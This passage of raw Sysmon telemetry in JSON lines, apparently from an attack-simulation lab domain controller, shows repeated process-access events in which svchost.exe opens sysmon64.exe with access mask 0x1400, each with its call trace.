C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 